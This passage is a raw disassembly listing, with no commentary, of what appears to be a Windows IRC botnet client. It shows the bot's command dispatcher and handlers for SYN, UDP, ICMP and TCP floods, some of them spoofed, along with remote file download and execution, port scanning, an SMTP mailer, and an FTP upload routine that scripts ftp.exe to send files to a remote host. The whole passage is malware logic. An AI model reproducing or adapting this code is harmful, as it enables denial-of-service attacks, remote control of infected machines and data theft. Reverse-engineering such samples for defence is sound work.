test eax, eax
pop ecx
jz loc_41396B
push [ebp+arg_8]
push offset aClone_part ; "clone.part"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_413908
push [ebp+arg_8]
push offset aClone_p ; "clone.p"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_413908
push [ebp+arg_8]
push offset aIrc_repeat ; "irc.repeat"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_413842
push [ebp+arg_8]
push offset aIrc_rp ; "irc.rp"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_413842
push [ebp+arg_8]
push offset aIrc_delay ; "irc.delay"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_4137A7
push [ebp+arg_8]
push offset aIrc_de ; "irc.de"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_4137A7
push [ebp+arg_8]
push offset aDownload_updat ; "download.updat4m13"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_413626
push [ebp+arg_8]
push offset aDownload_up33 ; "download.up33"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_413626
push [ebp+arg_8]
push offset aCom_execute ; "com.execute"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_413593
push [ebp+arg_8]
push offset aCom_e ; "com.e"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_413593
push [ebp+arg_8]
push offset aFindfile ; "findfile"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_413495
push [ebp+arg_8]
push offset aFf ; "ff"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_413495
push [ebp+arg_8]
push offset aCom_rename ; "com.rename"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_413441
push [ebp+arg_8]
push offset aCom_mv ; "com.mv"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_413441
push [ebp+arg_8]
push offset aDdos_icmp ; "ddos.icmp"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_413346
push [ebp+arg_8]
push offset aDdos_ic ; "ddos.ic"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_413346
mov eax, [ebp+esi+var_88]
cmp eax, ebx
mov [ebp+arg_0], eax
jz loc_40FAB8
push [ebp+arg_8]
push offset aClone_make ; "clone.make"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_41325B
push [ebp+arg_8]
push offset aClone_start ; "clone.start"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_41325B
push [ebp+arg_8]
push offset aDdos_syn ; "ddos.syn"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_413162
push [ebp+arg_8]
push offset aDdos_ack ; "ddos.ack"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_413162
push [ebp+arg_8]
push offset aDdos_random ; "ddos.random"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_413162
push [ebp+arg_8]
push offset aDdos_synflood ; "ddos.synflood"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_41307A
push [ebp+arg_8]
push offset aDdos_synf ; "ddos.synf"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_41307A
push [ebp+arg_8]
push offset aDownload_wgett ; "download.wgett4m13"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_412F3C
push [ebp+arg_8]
push offset aDownload_wg33 ; "download.wg33"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_412F3C
push [ebp+arg_8]
push offset aDaemon_redirec ; "daemon.redirect"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_412E2C
push [ebp+arg_8]
push offset aDaemon_rd ; "daemon.rd"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_412E2C
push [ebp+arg_8]
push offset aRoot_portscan ; "root.portscan"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_412D39
push [ebp+arg_8]
push offset aRoot_ps ; "root.ps"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_412D39
push [ebp+arg_8]
push offset aClone_privmsg ; "clone.privmsg"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_412C64
push [ebp+arg_8]
push offset aClone_pm ; "clone.pm"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_412C64
push [ebp+arg_8]
push offset aClone_action ; "clone.action"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_412B52
push [ebp+arg_8]
push offset aClone_ac ; "clone.ac"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_412B52
mov eax, [ebp+esi+var_84]
cmp eax, ebx
mov [ebp+arg_10], eax
jz loc_40FAB8
push [ebp+arg_8]
push offset aRoot_start ; "root.start"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_4127F3
push [ebp+arg_8]
push offset aRoot_s ; "root.s"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_4127F3
push [ebp+arg_8]
push offset aDdos_udpflood ; "ddos.udpflood"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_4126AD
push [ebp+arg_8]
push offset aDdos_udpf ; "ddos.udpf"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_4126AD
push [ebp+arg_8]
push offset aU ; "u"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_4126AD
push [ebp+arg_8]
push offset aDdos_pingflood ; "ddos.pingflood"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_412586
push [ebp+arg_8]
push offset aDdos_pingf ; "ddos.pingf"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_412586
push [ebp+arg_8]
push offset aP ; "p"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_412586
push [ebp+arg_8]
push offset aDdos_tcpflood ; "ddos.tcpflood"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_4123E5
push [ebp+arg_8]
push offset aDdos_tcpf ; "ddos.tcpf"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_4123E5
push [ebp+arg_8]
push offset aUtil_email ; "util.email"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jnz loc_4121F3
lea eax, [ebp+var_3F8]
push edi
push eax
call sub_417A00
push [ebp+arg_18]
call sub_41791F
push [ebp+arg_0]
mov [ebp+arg_18], eax
lea eax, [ebp+var_DB0]
push eax
call sub_417A00
push [ebp+arg_10]
lea eax, [ebp+var_BA8]
push eax
call sub_417A00
push offset asc_428300 ; " "
push offset a__0 ; "_"
push [ebp+esi+var_80]
call sub_40A74C
push eax
lea eax, [ebp+var_55C]
push eax
call sub_417A00
add esp, 30h
lea eax, [ebp+var_6EC]
push eax
push 101h
call dword_441330 ; WSAStartup
lea eax, [ebp+var_3F8]
push eax
call dword_44143C ; gethostbyname
push 6
push 1
push 2
mov edi, eax
call dword_441438 ; socket
push [ebp+arg_18]
mov esi, eax
mov [ebp+var_2EC], 2
mov eax, [edi+0Ch]
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_2E8], eax
call dword_4413B8 ; ntohs
mov [ebp+var_2EA], ax
lea eax, [ebp+var_55C]
push eax
lea eax, [ebp+var_DB0]
push eax
lea eax, [ebp+var_55C]
push eax
lea eax, [ebp+var_BA8]
push eax
lea eax, [ebp+var_DB0]
push eax
lea eax, [ebp+var_15B0]
push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
push eax
call sub_4173AC
add esp, 1Ch
lea eax, [ebp+var_2EC]
push 10h
push eax
push esi
call dword_441360 ; connect
mov edi, 100h
push ebx
lea eax, [ebp+var_CAC]
push edi
push eax
push esi
call dword_4413D0 ; recv
lea eax, [ebp+var_CAC]
push ebx
push eax
call sub_417AF0
pop ecx
push eax
lea eax, [ebp+var_15B0]
push eax
push esi
call dword_441408 ; send
push ebx
lea eax, [ebp+var_CAC]
push edi
push eax
push esi
call dword_4413D0 ; recv
push esi
call dword_441450 ; closesocket
call dword_441318 ; WSACleanup
lea eax, [ebp+var_BA8]
push eax
push offset unk_436E60
loc_4121DF: ; CODE XREF: sub_40F6F1+3C50j
; sub_40F6F1+3F30j ...
lea eax, [ebp+var_2DC]
push eax
call sub_4173AC
add esp, 0Ch
jmp loc_41455C
; ---------------------------------------------------------------------------
loc_4121F3: ; CODE XREF: sub_40F6F1+2998j
push [ebp+arg_8]
push offset aUtil_httpcon ; "util.httpcon"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_4123B4
push [ebp+arg_8]
push offset aUtil_hcon ; "util.hcon"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_4123B4
mov esi, [ebp+esi+var_80]
cmp esi, ebx
jz loc_40FAB8
push [ebp+arg_8]
push offset aFtp_upload ; "ftp.upload"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jnz loc_415956
push 4
push esi
call sub_40D5A0
pop ecx
test eax, eax
pop ecx
jnz short loc_412289
push esi
push offset dword_436E08
loc_412258: ; CODE XREF: sub_40F6F1+2E78j
; sub_40F6F1+2F9Cj ...
lea eax, [ebp+var_2DC]
push eax
call sub_4173AC
loc_412264: ; CODE XREF: sub_40F6F1+2FB7j
add esp, 0Ch
loc_412267: ; CODE XREF: sub_40F6F1+2E5Cj
; sub_40F6F1+2E90j ...
cmp [ebp+var_8], ebx
jnz loc_4157D0
push ebx
lea eax, [ebp+var_2DC]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
jmp loc_414FD6
; ---------------------------------------------------------------------------
loc_412289: ; CODE XREF: sub_40F6F1+2B5Fj
nop
call near ptr 7C80929Ch
push eax
call sub_4173FE
pop ecx
call sub_417408
push 9
cdq
pop ecx
idiv ecx
push edx
call sub_417408
push 63h
cdq
pop ecx
idiv ecx
push edx
call sub_417408
cdq
mov ecx, 3E7h
idiv ecx
lea eax, [ebp+var_CB0]
push edx
push eax
lea eax, [ebp+var_BAC]
push offset aSIII_dll ; "%s\\%i%i%i.dll"
push eax
call sub_4173AC
lea eax, [ebp+var_BAC]
push offset aAb ; "ab"
push eax
call sub_41823A
add esp, 20h
cmp eax, ebx
mov [ebp+arg_24], eax
jz loc_40FAB8
push esi
push [ebp+arg_10]
push [ebp+arg_0]
push [ebp+arg_18]
push edi
push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
push eax
call sub_419096
push [ebp+arg_24]
call sub_4180DC
lea eax, [ebp+var_BAC]
push eax
lea eax, [ebp+var_3F8]
push offset aSS_4 ; "-s:%s"
push eax
call sub_4173AC
add esp, 2Ch
lea eax, [ebp+var_3F8]
push ebx
push ebx
push eax
push offset aFtp_exe ; "ftp.exe"
push offset aOpen ; "open"
push ebx
call dword_44132C ; ShellExecuteA
test eax, eax
push edi
push esi
jz short loc_412353
push offset dword_436D8C
jmp short loc_412358
; ---------------------------------------------------------------------------
loc_412353: ; CODE XREF: sub_40F6F1+2C59j
push offset dword_436D50
loc_412358: ; CODE XREF: sub_40F6F1+2C60j
call sub_4173AC
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_412381
push ebx
lea eax, [ebp+var_2DC]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40DC10
add esp, 14h
loc_412381: ; CODE XREF: sub_40F6F1+2C72j
lea eax, [ebp+var_2DC]
push eax
call sub_40C4F7
loc_41238D: ; CODE XREF: sub_40F6F1+2CC1j
lea eax, [ebp+var_BAC]
push 4
push eax
call sub_40D5A0
add esp, 0Ch
test eax, eax
jz loc_40FAB8
lea eax, [ebp+var_BAC]
push eax
call sub_41906C
jmp short loc_41238D
; ---------------------------------------------------------------------------
loc_4123B4: ; CODE XREF: sub_40F6F1+2B13j
; sub_40F6F1+2B2Aj
push [ebp+esi+var_80]
push [ebp+arg_10]
push [ebp+arg_0]
push [ebp+arg_18]
call sub_41791F
pop ecx
push eax
push edi
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_406A64
add esp, 24h
jmp loc_415956
; ---------------------------------------------------------------------------
loc_4123E5: ; CODE XREF: sub_40F6F1+296Aj
; sub_40F6F1+2981j
mov esi, 80h
push edi
lea eax, [ebp+var_678]
push esi
push eax
call sub_41792A
lea eax, [ebp+var_678]
push eax
push offset aSyn ; "syn"
call sub_4177D0
add esp, 14h
test eax, eax
jz short loc_412448
lea eax, [ebp+var_678]
push eax
push offset aAck ; "ack"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz short loc_412448
lea eax, [ebp+var_678]
push eax
push offset aRandom ; "random"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz short loc_412448
push offset dword_436D18
jmp loc_412573
; ---------------------------------------------------------------------------
loc_412448: ; CODE XREF: sub_40F6F1+2D1Dj
; sub_40F6F1+2D34j ...
push [ebp+arg_10]
call sub_41791F
cmp eax, ebx
pop ecx
mov [ebp+var_570], eax
jle loc_41256E
push edi
lea eax, [ebp+var_678]
push esi
push eax
call sub_41792A
push [ebp+arg_18]
lea eax, [ebp+var_6F8]
push esi
push eax
call sub_41792A
push [ebp+arg_0]
call sub_41791F
mov [ebp+var_574], eax
xor eax, eax
cmp [ebp+var_9B6], bl
push [ebp+var_8C]
setnz al
mov [ebp+var_56C], eax
mov eax, [ebp+arg_4]
mov [ebp+var_6FC], eax
lea eax, [ebp+var_5F8]
push esi
push eax
call sub_41792A
mov eax, [ebp+var_4]
add esp, 28h
cmp [ebp+var_56C], ebx
mov [ebp+var_568], eax
mov eax, [ebp+var_8]
mov [ebp+var_564], eax
mov eax, offset aSpoofed ; "Spoofed"
jnz short loc_4124DF
mov eax, offset aNormal ; "Normal"
loc_4124DF: ; CODE XREF: sub_40F6F1+2DE7j
push [ebp+arg_10]
push [ebp+arg_0]
push [ebp+arg_18]
push edi
push eax
push offset dword_436CC4
lea eax, [ebp+var_2DC]
push 200h
push eax
call sub_41792A
push ebx
lea eax, [ebp+var_2DC]
push 0Ch
push eax
call sub_416E58
add esp, 2Ch
mov [ebp+var_578], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_6FC]
push ebx
push eax
push offset sub_401D79
push ebx
push ebx
nop
call near ptr 7C810637h
mov ecx, [ebp+var_578]
imul ecx, 234h
cmp eax, ebx
mov dword_446E24[ecx], eax
jz short loc_41255D
loc_412547: ; CODE XREF: sub_40F6F1+2E6Aj
cmp [ebp+var_560], ebx
jnz loc_412267
push 32h
nop
call near ptr 7C802442h
jmp short loc_412547
; ---------------------------------------------------------------------------
loc_41255D: ; CODE XREF: sub_40F6F1+2E54j
nop
call near ptr 7C910331h
push eax
push offset dword_436C7C
jmp loc_412258
; ---------------------------------------------------------------------------
loc_41256E: ; CODE XREF: sub_40F6F1+2D68j
push offset dword_436C34
loc_412573: ; CODE XREF: sub_40F6F1+2D52j
; sub_40F6F1+3220j ...
lea eax, [ebp+var_2DC]
push eax
call sub_4173AC
pop ecx
pop ecx
jmp loc_412267
; ---------------------------------------------------------------------------
loc_412586: ; CODE XREF: sub_40F6F1+2925j
; sub_40F6F1+293Cj ...
cmp dword_4414A8, ebx
jnz loc_412692
mov eax, [ebp+var_8]
push 7Fh
mov [ebp+var_300], eax
mov eax, [ebp+var_4]
mov [ebp+var_304], eax
lea eax, [ebp+var_398]
push edi
push eax
call sub_4182F0
push [ebp+arg_18]
call sub_41791F
push [ebp+arg_0]
mov [ebp+var_318], eax
call sub_41791F
push [ebp+arg_10]
mov [ebp+var_314], eax
call sub_41791F
push 7Fh
mov [ebp+var_310], eax
push [ebp+var_8C]
lea eax, [ebp+var_418]
push eax
call sub_4182F0
push [ebp+var_310]
mov eax, [ebp+arg_4]
mov [ebp+var_41C], eax
lea eax, [ebp+var_398]
push [ebp+var_314]
push eax
lea eax, [ebp+var_2DC]
push [ebp+var_318]
push offset unk_436BDC
push eax
call sub_4173AC
push ebx
lea eax, [ebp+var_2DC]
push 0Eh
push eax
call sub_416E58
add esp, 48h
mov [ebp+var_308], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_41C]
push ebx
push eax
push offset sub_40B45B
push ebx
push ebx
nop
call near ptr 7C810637h
mov ecx, [ebp+var_308]
imul ecx, 234h
cmp eax, ebx
mov dword_446E24[ecx], eax
jz short loc_412681
loc_41266B: ; CODE XREF: sub_40F6F1+2F8Ej
cmp [ebp+var_2FC], ebx
jnz loc_412267
push 32h
nop
call near ptr 7C802442h
jmp short loc_41266B
; ---------------------------------------------------------------------------
loc_412681: ; CODE XREF: sub_40F6F1+2F78j
nop
call near ptr 7C910331h
push eax
push offset unk_436B94
jmp loc_412258
; ---------------------------------------------------------------------------
loc_412692: ; CODE XREF: sub_40F6F1+2E9Bj
push 1FFh
lea eax, [ebp+var_2DC]
push offset aIcmp_dllNotAva ; "ICMP.dll not available"
push eax
call sub_4182F0
jmp loc_412264
; ---------------------------------------------------------------------------
loc_4126AD: ; CODE XREF: sub_40F6F1+28E0j
; sub_40F6F1+28F7j ...
mov eax, [ebp+var_8]
push 7Fh
mov [ebp+var_300], eax
mov eax, [ebp+var_4]
mov [ebp+var_304], eax
lea eax, [ebp+var_398]
push edi
push eax
call sub_4182F0
push [ebp+arg_18]
call sub_41791F
push [ebp+arg_0]
mov [ebp+var_318], eax
call sub_41791F
push [ebp+arg_10]
mov [ebp+var_314], eax
call sub_41791F
mov esi, [ebp+esi+var_80]
add esp, 18h
cmp esi, ebx
mov [ebp+var_310], eax
jz short loc_412712
push esi
call sub_41791F
pop ecx
mov [ebp+var_30C], eax
jmp short loc_412718
; ---------------------------------------------------------------------------
loc_412712: ; CODE XREF: sub_40F6F1+3010j
mov [ebp+var_30C], ebx
loc_412718: ; CODE XREF: sub_40F6F1+301Fj
push 7Fh
lea eax, [ebp+var_418]
push [ebp+var_8C]
push eax
call sub_4182F0
push [ebp+var_310]
mov esi, [ebp+arg_4]
lea eax, [ebp+var_398]
mov [ebp+var_41C], esi
push [ebp+var_314]
push eax
lea eax, [ebp+var_2DC]
push [ebp+var_318]
push offset dword_436B24
push eax
call sub_4173AC
push ebx
lea eax, [ebp+var_2DC]
push 0Fh
push eax
call sub_416E58
add esp, 30h
mov [ebp+var_308], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_41C]
push ebx
push eax
push offset sub_40B5E7
push ebx
push ebx
nop
call near ptr 7C810637h
mov ecx, [ebp+var_308]
imul ecx, 234h
cmp eax, ebx
mov dword_446E24[ecx], eax
jz short loc_4127B8
loc_4127A6: ; CODE XREF: sub_40F6F1+30C5j
cmp [ebp+var_2FC], ebx
jnz short loc_4127D3
push 32h
nop
call near ptr 7C802442h
jmp short loc_4127A6
; ---------------------------------------------------------------------------
loc_4127B8: ; CODE XREF: sub_40F6F1+30B3j
nop
call near ptr 7C910331h
push eax
push offset dword_436ADC
loc_4127C4: ; CODE XREF: sub_40F6F1+3984j
; sub_40F6F1+3A6Cj ...
lea eax, [ebp+var_2DC]
push eax
call sub_4173AC
add esp, 0Ch
loc_4127D3: ; CODE XREF: sub_40F6F1+30BBj
; sub_40F6F1+3968j ...
cmp [ebp+var_8], ebx
jnz loc_4157D0
push ebx
push [ebp+var_4]
loc_4127E0: ; CODE XREF: sub_40F6F1+3846j
lea eax, [ebp+var_2DC]
push eax
push [ebp+var_8C]
push esi
jmp loc_414FD6
; ---------------------------------------------------------------------------
loc_4127F3: ; CODE XREF: sub_40F6F1+28B2j
; sub_40F6F1+28C9j
push 8
call sub_4170A0
push [ebp+arg_18]
mov [ebp+arg_8], eax
call sub_41791F
add eax, [ebp+arg_8]
pop ecx
pop ecx
cmp eax, 3E8h
jle short loc_412846
push [ebp+arg_8]
lea eax, [ebp+var_2DC]
push offset unk_436A90
push eax
call sub_4173AC
push ebx
lea eax, [ebp+var_2DC]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40DC10
loc_41283E: ; CODE XREF: sub_40F6F1+455Cj
add esp, 20h
jmp loc_415956
; ---------------------------------------------------------------------------
loc_412846: ; CODE XREF: sub_40F6F1+311Ej
push edi
call sub_41791F
push [ebp+arg_18]
mov [ebp+var_330], eax
call sub_41791F
push [ebp+arg_0]
mov [ebp+var_318], eax
call sub_41791F
add esp, 0Ch
cmp eax, 5
mov [ebp+var_32C], eax
jnb short loc_41287F
push 5
pop eax
mov [ebp+var_32C], eax
loc_41287F: ; CODE XREF: sub_40F6F1+3183j
push 3Ch
pop ecx
cmp eax, ecx
jbe short loc_41288C
mov [ebp+var_32C], ecx
loc_41288C: ; CODE XREF: sub_40F6F1+3193j
push [ebp+arg_10]
call sub_41791F
mov [ebp+var_328], eax
mov eax, 2710h
cmp [ebp+var_328], eax
pop ecx
jbe short loc_4128AE
mov [ebp+var_328], eax
loc_4128AE: ; CODE XREF: sub_40F6F1+31B5j
or [ebp+var_314], 0FFFFFFFFh
cmp dword_428BF8, ebx
mov [ebp+arg_0], ebx
jz short loc_412904
mov [ebp+arg_24], offset dword_428BF8
loc_4128C7: ; CODE XREF: sub_40F6F1+31F5j
mov eax, [ebp+arg_24]
push edi
add eax, 0FFFFFFD8h
push eax
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz short loc_4128EA
add [ebp+arg_24], 3Ch
inc [ebp+arg_0]
mov eax, [ebp+arg_24]
cmp [eax], ebx
jnz short loc_4128C7
jmp short loc_412904
; ---------------------------------------------------------------------------
loc_4128EA: ; CODE XREF: sub_40F6F1+31E7j
mov eax, [ebp+arg_0]
mov ecx, eax
mov [ebp+var_314], eax
imul ecx, 3Ch
mov ecx, dword_428BF8[ecx]
mov [ebp+var_330], ecx
loc_412904: ; CODE XREF: sub_40F6F1+31CDj
; sub_40F6F1+31F7j
cmp [ebp+var_330], ebx
jnz short loc_412916
push offset unk_436A4C
jmp loc_412573
; ---------------------------------------------------------------------------
loc_412916: ; CODE XREF: sub_40F6F1+3219j
mov edi, [ebp+esi+var_80]
cmp edi, ebx
mov [ebp+arg_18], edi
jz short loc_412951
cmp byte ptr [edi], 23h
jz short loc_412951
push edi
lea eax, [ebp+var_444]
push 10h
push eax
call sub_41792A
push 78h
push edi
call sub_418630
add esp, 14h
neg eax
sbb eax, eax
neg eax
mov [ebp+var_304], eax
jmp loc_412A25
; ---------------------------------------------------------------------------
loc_412951: ; CODE XREF: sub_40F6F1+322Ej
; sub_40F6F1+3233j
cmp [ebp+var_9C7], bl
jnz short loc_412973
cmp [ebp+var_9C6], bl
jnz short loc_412973
cmp [ebp+var_9B6], bl
jnz short loc_412973
push offset unk_436A08
jmp loc_412573
; ---------------------------------------------------------------------------
loc_412973: ; CODE XREF: sub_40F6F1+3266j
; sub_40F6F1+326Ej ...
push 10h
lea eax, [ebp+arg_0]
pop edi
push eax
lea eax, [ebp+var_2EC]
push eax
mov [ebp+arg_0], edi
push [ebp+arg_4]
call dword_44135C ; getsockname
mov al, [ebp+var_9C7]
push edi
neg al
sbb eax, eax
and ax, 100h
add eax, 0FFFFh
and [ebp+var_2E8], eax
push [ebp+var_2E8]
call dword_441444 ; inet_ntoa
push eax
lea eax, [ebp+var_444]
push eax
call sub_4182F0
add esp, 0Ch
cmp [ebp+var_9B6], bl
jz short loc_412A1F
xor eax, eax
cmp [ebp+var_9C7], bl
push 30h
setnz al
inc eax
inc eax
mov edi, eax
lea eax, [ebp+var_444]
push eax
call sub_4185F0
pop ecx
cmp edi, ebx
pop ecx
mov byte ptr [ebp+arg_24+3], bl
jle short loc_412A13
loc_4129F1: ; CODE XREF: sub_40F6F1+3320j
cmp eax, ebx
jz short loc_412A13
mov byte ptr [eax], 78h
lea eax, [ebp+var_444]
push 30h
push eax
call sub_4185F0
inc byte ptr [ebp+arg_24+3]
pop ecx
pop ecx
movsx ecx, byte ptr [ebp+arg_24+3]
cmp ecx, edi
jl short loc_4129F1
loc_412A13: ; CODE XREF: sub_40F6F1+32FEj
; sub_40F6F1+3302j
mov [ebp+var_304], 1
jmp short loc_412A25
; ---------------------------------------------------------------------------
loc_412A1F: ; CODE XREF: sub_40F6F1+32D8j
mov [ebp+var_304], ebx
loc_412A25: ; CODE XREF: sub_40F6F1+325Bj
; sub_40F6F1+332Cj
mov eax, [ebp+arg_4]
push [ebp+var_8C]
mov [ebp+var_334], eax
mov eax, [ebp+var_4]
mov [ebp+var_30C], eax
mov eax, [ebp+var_8]
mov [ebp+var_308], eax
mov edi, 80h
lea eax, [ebp+var_434]
push edi
push eax
call sub_41792A
mov esi, [ebp+esi+var_7C]
add esp, 0Ch
cmp esi, ebx
jz short loc_412A76
loc_412A63: ; CODE XREF: sub_40F6F1+33A8j
push esi
loc_412A64: ; CODE XREF: sub_40F6F1+3392j
lea eax, [ebp+var_3B4]
push edi
push eax
call sub_41792A
add esp, 0Ch
jmp short loc_412AA1
; ---------------------------------------------------------------------------
loc_412A76: ; CODE XREF: sub_40F6F1+3370j
mov eax, [ebp+arg_18]
cmp eax, ebx
jz short loc_412A85
cmp byte ptr [eax], 23h
jnz short loc_412A85
push eax
jmp short loc_412A64
; ---------------------------------------------------------------------------
loc_412A85: ; CODE XREF: sub_40F6F1+338Aj
; sub_40F6F1+338Fj
mov esi, offset aSodoma_3e ; "##sodoma_3e"
push offset byte_43C63C
push esi
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jnz short loc_412A63
mov [ebp+var_3B4], bl
loc_412AA1: ; CODE XREF: sub_40F6F1+3383j
cmp [ebp+var_304], ebx
mov eax, offset aRandom_0 ; "Random"
jnz short loc_412AB3
mov eax, offset aSequential ; "Sequential"
loc_412AB3: ; CODE XREF: sub_40F6F1+33BBj
push [ebp+var_318]
lea ecx, [ebp+var_444]
push [ebp+var_328]
push [ebp+var_32C]
push [ebp+var_330]
push ecx
push eax
lea eax, [ebp+var_2DC]
push offset unk_436984
push eax
call sub_4173AC
push ebx
lea eax, [ebp+var_2DC]
push 8
push eax
call sub_416E58
add esp, 2Ch
mov [ebp+var_324], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_444]
push ebx
push eax
push offset sub_4078E6
push ebx
push ebx
nop
call near ptr 7C810637h
mov ecx, [ebp+var_324]
imul ecx, 234h
cmp eax, ebx
mov dword_446E24[ecx], eax
jz short loc_412B41
loc_412B2B: ; CODE XREF: sub_40F6F1+344Ej
cmp [ebp+var_300], ebx
jnz loc_412267
push 32h
nop
call near ptr 7C802442h
jmp short loc_412B2B
; ---------------------------------------------------------------------------
loc_412B41: ; CODE XREF: sub_40F6F1+3438j
nop
call near ptr 7C910331h
push eax
push offset unk_43693C
jmp loc_412258
; ---------------------------------------------------------------------------
loc_412B52: ; CODE XREF: sub_40F6F1+2872j
; sub_40F6F1+2889j
push edi
call sub_41791F
imul eax, 234h
pop ecx
cmp byte_446E28[eax], bl
jz loc_415956
cmp [ebp+var_C], ebx
jz loc_415956
push edi
call sub_417AF0
push [ebp+arg_8]
mov esi, eax
call sub_417AF0
push [ebp+arg_18]
add esi, eax
call sub_417AF0
add eax, [ebp+var_C]
push [ebp+arg_0]
lea eax, [eax+esi+2]
push eax
call sub_417980
mov esi, eax
lea eax, [ebp+var_2DC]
push esi
push offset dword_436930
push eax
call sub_4173AC
add esp, 20h
cmp esi, ebx
jz loc_415956
push edi
call sub_41791F
test eax, eax
pop ecx
jle loc_415956
push edi
call sub_41791F
cmp eax, 5DCh
pop ecx
jge loc_415956
push ebx
lea eax, [ebp+var_2DC]
push ebx
push eax
push [ebp+arg_18]
push edi
call sub_41791F
imul eax, 234h
pop ecx
push dword_446E1C[eax]
call sub_40DC10
push edi
call sub_41791F
imul eax, 234h
add esp, 18h
cmp byte ptr dword_446C10[eax], 73h
jnz loc_415956
push esi
push edi
call sub_41791F
imul eax, 234h
pop ecx
add eax, offset byte_446E28
push eax
push [ebp+arg_18]
push offset aSSS_1 ; "[%s] * %s %s"
loc_412C3A: ; CODE XREF: sub_40F6F1+3643j
lea eax, [ebp+var_2DC]
push eax
call sub_4173AC
push ebx
lea eax, [ebp+var_2DC]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40DC10
jmp loc_415953
; ---------------------------------------------------------------------------
loc_412C64: ; CODE XREF: sub_40F6F1+2844j
; sub_40F6F1+285Bj
push edi
call sub_41791F
imul eax, 234h
pop ecx
cmp byte_446E28[eax], bl
jz loc_415956
cmp [ebp+var_C], ebx
jz loc_415956
push edi
call sub_417AF0
push [ebp+arg_8]
mov esi, eax
call sub_417AF0
push [ebp+arg_18]
add esi, eax
call sub_417AF0
add eax, [ebp+var_C]
push [ebp+arg_0]
lea eax, [eax+esi+2]
push eax
call sub_417980
mov esi, eax
add esp, 14h
cmp esi, ebx
jz loc_415956
push edi
call sub_41791F
test eax, eax
pop ecx
jle loc_415956
push edi
call sub_41791F
cmp eax, 5DCh
pop ecx
jge loc_415956
push ebx
push ebx
push esi
push [ebp+arg_18]
push edi
call sub_41791F
imul eax, 234h
pop ecx
push dword_446E1C[eax]
call sub_40DC10
push edi
call sub_41791F
imul eax, 234h
add esp, 18h
cmp byte ptr dword_446C10[eax], 73h
jnz loc_415956
push esi
push edi
call sub_41791F
imul eax, 234h
pop ecx
add eax, offset byte_446E28
push eax
push [ebp+arg_18]
push offset aSSS_0 ; "[%s] <%s> %s"
jmp loc_412C3A
; ---------------------------------------------------------------------------
loc_412D39: ; CODE XREF: sub_40F6F1+2816j
; sub_40F6F1+282Dj
push edi
call dword_4413F8 ; inet_addr
push [ebp+arg_18]
mov [ebp+var_474], eax
call sub_41791F
push [ebp+arg_0]
mov [ebp+var_480], eax
call sub_41791F
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_8C]
